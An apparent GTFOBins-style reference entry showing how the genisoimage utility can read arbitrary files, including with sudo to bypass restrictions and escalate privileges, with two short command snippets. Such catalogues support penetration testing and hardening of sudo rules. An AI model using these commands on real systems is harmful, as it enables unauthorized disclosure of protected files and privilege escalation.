The output is placed inside the ISO9660 file system binary format thus it may not be suitable for binary content as is, yet it can be mounted or extracted with tools like 7z.

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

LFILE=file_to_read
genisoimage -q -o - "$LFILE"

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

LFILE=file_to_read
sudo genisoimage -q -o - "$LFILE"